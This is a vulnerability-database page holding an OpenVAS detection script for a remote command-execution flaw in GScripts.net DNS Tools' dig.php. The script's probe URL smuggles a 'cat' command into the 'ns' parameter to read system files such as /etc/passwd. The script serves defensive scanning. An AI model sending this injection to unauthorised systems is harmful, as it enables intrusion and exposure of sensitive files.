Lucene search

K
openvasThis script is Copyright (C) 2009 Greenbone Networks GmbHOPENVAS:100182
HistoryMay 02, 2009 - 12:00 a.m.

GScripts.net DNS Tools 'dig.php' Remote Command Execution Vulnerability

2009-05-0200:00:00
This script is Copyright (C) 2009 Greenbone Networks GmbH
plugins.openvas.org
10

0.005 Low

EPSS

Percentile

76.6%

GScripts.net DNS Tools is prone to a remote command-execution
vulnerability because the software fails to adequately sanitize
user-supplied input.

Successful attacks can compromise the affected software and possibly
the computer.

###############################################################################
# OpenVAS Vulnerability Test
# $Id: GScripts_cve_2009_1361.nasl 5767 2017-03-29 13:32:35Z cfi $
#
# GScripts.net DNS Tools 'dig.php' Remote Command Execution
# Vulnerability
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (c) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "GScripts.net DNS Tools is prone to a remote command-execution
  vulnerability because the software fails to adequately sanitize
  user-supplied input.

  Successful attacks can compromise the affected software and possibly
  the computer.";

if (description)
{
 script_id(100182);
 script_version("$Revision: 5767 $");
 script_tag(name:"last_modification", value:"$Date: 2017-03-29 15:32:35 +0200 (Wed, 29 Mar 2017) $");
 script_tag(name:"creation_date", value:"2009-05-02 19:46:33 +0200 (Sat, 02 May 2009)");
 script_bugtraq_id(34559);
 script_cve_id("CVE-2009-1361", "CVE-2009-1916");
 script_tag(name:"cvss_base", value:"10.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_name("GScripts.net DNS Tools 'dig.php' Remote Command Execution Vulnerability");
 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2009 Greenbone Networks GmbH");
 script_dependencies("find_service.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_tag(name : "summary" , value : tag_summary);
 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/34559");
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

port = get_http_port(default:80);
if(!can_host_php(port:port))exit(0);

files = traversal_files( "linux" );

foreach dir( make_list_unique( "/whois", "/dns_tools", cgi_dirs( port:port ) ) ) { 

  if( dir == "/" ) dir = "";

  foreach file (keys(files)) {

    url = string(dir, "/dig.php?ns=||cat%20/",files[file],"&host=example.org&query_type=NS&status=digging");

    if(http_vuln_check(port:port, url:url,pattern:file)) {
      report = report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );

0.005 Low

EPSS

Percentile

76.6%

Related for OPENVAS:100182